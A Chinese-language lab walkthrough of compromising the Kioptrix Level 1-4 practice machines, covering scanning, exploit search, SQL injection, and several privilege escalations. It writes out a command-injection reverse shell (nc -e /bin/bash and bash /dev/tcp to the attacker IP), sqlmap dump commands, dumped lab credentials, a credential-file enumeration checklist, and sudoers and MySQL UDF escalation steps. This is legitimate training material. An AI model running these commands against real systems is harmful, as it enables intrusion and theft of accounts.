Kioptrix Level 1~4

Kioptrix Level 1

我打的第一个靶场,是一个比较老的靶场,相对简单

信息收集

1.存活探测

使用命令nmap -sn 192.168.126.0/24 --min-rate 2222 -r进行存活扫描,--min-rate指定最小发包速率,-r是禁用域名解析,这都加快了我们的扫描速度。

2.端口开放扫描加保存内容

通过下面的命令进行端口开放的检查

nmap -sS -p- 192.168.126.132 --min-rate 8888 -PN -r -oA 保存路径

-sS是syn扫描,nmap默认进行tcp扫描会进行三次握手,而SYN是完整tcp连接中的一个过程,只用2次连接 -PN是不用ping进行探测 -oA是保存所有类型的文件 -p-指定了扫描所有端口

3.端口服务指纹扫描,漏洞脚本探测

通过上面的方法获取到了开放端口后,我们可以对端口进行细致的服务指纹

查看dirserch扫出的目录,发现没什么可以利用的地方,同时指纹扫描出来80端口是老版本apache

漏洞查找利用

apache

用法serchsploit查早apache1.3.20的可利用漏洞

serchsploit Apache 1.3.20

发现cgibin远程执行漏洞,正好我们之前扫描出来了这个目录

serchsploit Apache -m 29290 将exp拿出来

发现缺少相应的库,要下载,下载后进行编译利用

发现cgi这个网页不能访问就无法利用了,只能换exp

换方向对ssl服务进行攻击

ssl
gcc 764.c -o 764 -lcrypto

这里卡住无法建立连接,还是换smb服务的漏洞进行利用吧。

发现是对443端口进行利用,成功反弹shell,whoami查看是apache权限需要提权

想利用内核提权无果,转而想利用smb,用namp没有扫描出smb服务具体的版本,用msf扫描一下具体版本

use 0

show options

扫描出来是smb2.21.a,然后用searchsploit查找exp

10.c编译后运行成功获取shell,root权限

总结复盘

第一次进行实战打靶,还是很生疏,首先要对内网进行信息收集,发现我们的目标机,获取其开放端口与服务信息版本等信息,可以使用arp_scan nmap fscan 等工具,可与使用namp的--script=vuln进行简单的漏洞检测,--min-rate限制最小发包速率,-sn进行存活探测,-p后面指派端口,-sV对服务信息进行扫描 -O识别操作系统,对于nmap无法确认的服务版本,可以使用msf等工具进行扫描利用攻击,本靶场我使用了smb_vsersion这个扫描模块,wget 下载我们用python起动的http服务,searchsploit的使用

Kioptrix Level 2

信息收集

端口开放扫描

针对开放端口进行服务指纹搜集

还是老版本的apache,ssh留到最后打,看一下web服务

拿到shell后进行主机信息

whoami发现是apache权限

cat /etc/crontab发现如下信息

uname -a看内核

cat /etc/*release*看发行版

漏洞探测

web漏洞,万能密码

这里是一个登录框,直接一个万能密码绕过进行登录,注释的方法有许多--+ # %23等可以一 一尝试,会根据服务器过滤和请求方法不同有所不同,如果注释全被过滤了可以试试构造闭合如'1'='1

web漏洞,命令执行

这里可以进行ping命令,尝试可不可以使用管道符或者;进行多个命令执行

通过分号命令执行成功,我们这里用nc反弹一个shell

192.168.126.233;nc -e /bin/bash 192.168.126.233 4444

反弹shell权限提升

反弹shell

监听本地4444端口nc -lvvp 4444

在靶机中使用nc反弹shell失败,考虑使用bash反弹

bash -i >& /dev/tcp/192.168.126.233/4444 0>&1

反弹成功获取到了apache权限

提权

开放了mysql端口,可以考虑使用udp进行提权,起初可以尝试是否可以使用suid提权,发现没有可用的suid提权,这里试试使用内核提权,将我们的内核版本放到searchsploit中搜索,发现如下exp。

直接启动一个python服务,后靶机wget进行获取,在http目录下我们没有权限写入,记得移动到/tmp目录下面进行下载。

编译使用后成功提权。

Kioptrix VM3

信息搜集

扫描端口

对主机进行服务探测

本次探测的端口较少,使用-A替代-sC -O

靶机使用的Linux kernel2.6 80端口搭配的是apache+php,nmap对主机进行一些漏洞的扫描

nmap 192.168.126.134 --script=vuln 
网站指纹探测

这里使用whatweb工具对网站指纹进行识别

whatweb http://192.168.126.134

漏洞探测

web页面初探测

同步对80端口网站进行目录扫描,对网站简单的看了一下,有个phpmyadmin的登录口,禁止其他ip以root身份登录,还有一个web页面的登录口,测了一下万能密码和sql注入,没发现存在,弱口令试试

渗透测试技巧之hosts碰撞

发现在本地网页中点击一些url会跳转到某个网站去,且网站后面的路径我们本地存在,这时候考虑修改本地hosts文件让该网址指向我们要访问的服务器地址

成功绕过,测试功能点发现了sql注入漏洞,这里直接用sqlmap查询表的内容

sql漏洞利用之超级sql注入工具

超级sql注入工具是图形化的sql注入工具

将注入点的http包放到工具中的http请求包中,自动识别注入点,dump库

成功获取后台和系统用户的用户名密码

username

firstname

userid

password

lastname

usertype

email

datejoined

issuperuser

website

photo

joincode

admin

Super

1

n0t7t1k4

User

superuser

1302628616

1

id

password

username

1

0d3eccfb887aabd50f243b3f155c0f85

Mast3r

dreg

2

5badcaf789d3d1d09794d8f021f40f0e

loneferret

后阳台登录失败,试试系统用户用ssh连接

ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.126.134
ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.126.134

二次信息探测

这里是一些getshell后对登录的Linux系统的信息二次收集,获得相应信息方便我们进行权限提升以及横向渗透权限维持

1.查看系统类型
  • cat /etc/issue
  • cat /etc/*release*
2.查看内核版本
  • cat /proc/version
  • uname -a
3.进程和服务
  • ps aux
  • ps -ef
  • top
  • cat /etc/service
4.安装的应用程序
  • dpkg -l
  • rpm -qa
5.服务器配置
  • cat /etc/syslog.conf
  • cat /etc/chttp.conf
  • cat /etc/lighttpd.cnf
  • cat /etc/cups/cupsd.conf
  • cat /etc/inetd.conf
  • cat /etc/apache2/apache2.conf
  • cat /etc/my.conf
  • cat /etc/httpd/conf/httpd.conf
  • cat /opt/lampp/etc/httpd.conf
6.计划任务
  • crontab -l
  • ls -alh /var/spool/cron
  • ls -al /etc/ | grep cron
  • ls -al /etc/cron*
  • cat /etc/cron*
  • cat /etc/at.allow
  • cat /etc/at.deny
  • cat /etc/cron.allow
  • cat /etc/cron.deny
  • cat /etc/crontab
  • cat /etc/anacrontab
  • cat /var/spool/cron/crontabs/root
7.网络配置
  • cat /etc/network/interfaces
  • cat /etc/sysconfig/network
  • cat /etc/resolv.conf
  • cat /etc/sysconfig/network
  • cat /etc/networks
  • iptables -L
  • hostname
  • dnsdomainname
8.网络通信
  • netstat -antup
  • netstat -antpx
  • netstat -tulpn
  • arp -e
  • route
9.用户信息
  • id
  • who
  • w
  • last
  • cat /etc/sudoers
  • cat /etc/passwd
  • cat /etc/group
  • cat /etc/shadow
  • history
  • cat ~/.bash_history
  • cat ~/.nano_history
  • cat ~/.atftp_history
  • cat ~/.mysql_history
  • cat ~/.php_history
10.可能用于提权的程序
  • 查找有suid位或sgid位的程序
    • find / -perm -g =s -o -perm -u=s -type f 2>/dev/null
  • 查找能写或进入的目录
    • find / -writable -type d 2 > /dev/null
    • find / -perm -o+w -type d 2 > /dev/null
    • find / -perm -o+x -type d 2 > /dev/null
信息搜集小技巧之bash用户查询

在不知道哪些用户有bash权限时可以/etc/passwd中筛选带bash字段的用户,也可以通过查看/home目录下的用户目录
 

权限提升

suid+ht编辑器+sudoer无密码提权

这里查看可以suid的文件

find / -perm  -u=s -type f 2>/dev/null

没有发现可以直接利用的可执行文件

这个编辑器有suid权限,相当于可以以root权限运行,我们可以修改sudo的配置文件sudoer,如果编辑/etc/sudoers,权限添加/bin/bash,可以直接拿root的shell了。

sudo -l发现ht这个编辑器有root权限,loneferrent这个用户有sudo权限

sudo /usr/local/bin/ht //报错Error opening terminal: xterm-256color.则 export TERM=xterm

//ht编辑器修改/etc/sudoers sudo /bin/bash

将/bin/bash加入无密码sudo组就可以了

总结

这个靶机版本较低,有许多漏洞,我使用的是常规方法,用nday和内核漏洞提权一样可以get root权限。

通过扫描端口服务后发现22和80端口开放,重心放到80,尝试过命令执行,未授权访问,sql注入,但都没有找对位置,通过host碰撞后找到sql注入功能点,获取到了系统用户密码ssh登录,为本地普通用户权限,suid提权到了root。同时这个靶机还有一些方法没有尝试,后面再来复盘

Kioptrix level4

信息搜集

先进行简单的信息收集,存活探测,端口服务指纹探测等,

这里探测到了445和139这两个端口存在smb服务。可以使用enmu4Linux这个smb服务枚举扫描工具进行进一步的探测扫描。

enmu4Linux smb扫描探测工具

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以轻松的从与SMB服务有关的目标中快速提取信息,使用也比较简单,后面直接加目标IP

就可以进行全部选项枚举了。

这里枚举出来了靶机的用户。

网站目录扫描

大多数都是登录,和300开头的跳转。

漏洞探测
 

sql文件泄露

这里访问我们跑出来的地址发现了因该是插入了一个用户,输入用户和密码发现错误。

登录框报错发现,存在sql注入

继续测试注入,用%23进行注入后发现报错,可以将数据包存下来放sqlmap跑记不到命令可以使用arsenal这个工具进行提示。

使用sqlmap进行注入

 sqlmap -r sqlinject.txt --level=3 --batch
 sqlmap -r sqlinject.txt --level=3 --batch --dbs
 sqlmap -r sqlinject.txt --level=3 --batch -D "members" --tables
  sqlmap -r sqlinject.txt --level=3 --batch -D "members" -T "members" --dump

低于level3无法发现注入点

登录后发现没有利用点,试试ssh登录

权限提升

Linux shell受限越狱

ssh登录后哦发现该用户的shell受限,只能使用几个命令

Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck’s Blog

这里使用echo os.system('/bin/bash')就可以完成越狱

成功的逃出了Lshell(limit shell)接下来进行二次信息收集,80端口好像不能过防火墙,这里使用443端口上传LinEnum。发现有3306端口通过php早用户名和密码看是否可以udf提权

udf提权

1-进入mysql查询
select * from mysql.func; #查询函数,使用的共享库,和类型
2-创建函数
create function sys_eval returns string soname "lib_mysqludf_sys.so"; #双引号里的库要换成我们查询到的库
3- 调用函数
select sys_eval('whoami');
4-改sudo文件
5-把sudo权限改回0440,拥有者改回root
6-sudo su #权限到手

这里直接就发现了自带函数,只是没有回显。

getshell root

arsenal工具使用

arsenal简介

arsenal只是一个快速库存、提醒渗透测试命令的启动器。

这个由 渗透测试人员为 渗透测试人员编写的项目简化了所有难以记住的命令的使用

在 arsenal 中,您可以搜索一个命令,选择一个命令,它会直接在您的终端中预填充。此功能独立于所使用的shell。实际上,Arsenal 模拟真实的用户输入(使用 TTY 参数和 IOCTL),因此 arsenal 可与所有 shell 配合使用,您的命令将在历史记录中。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值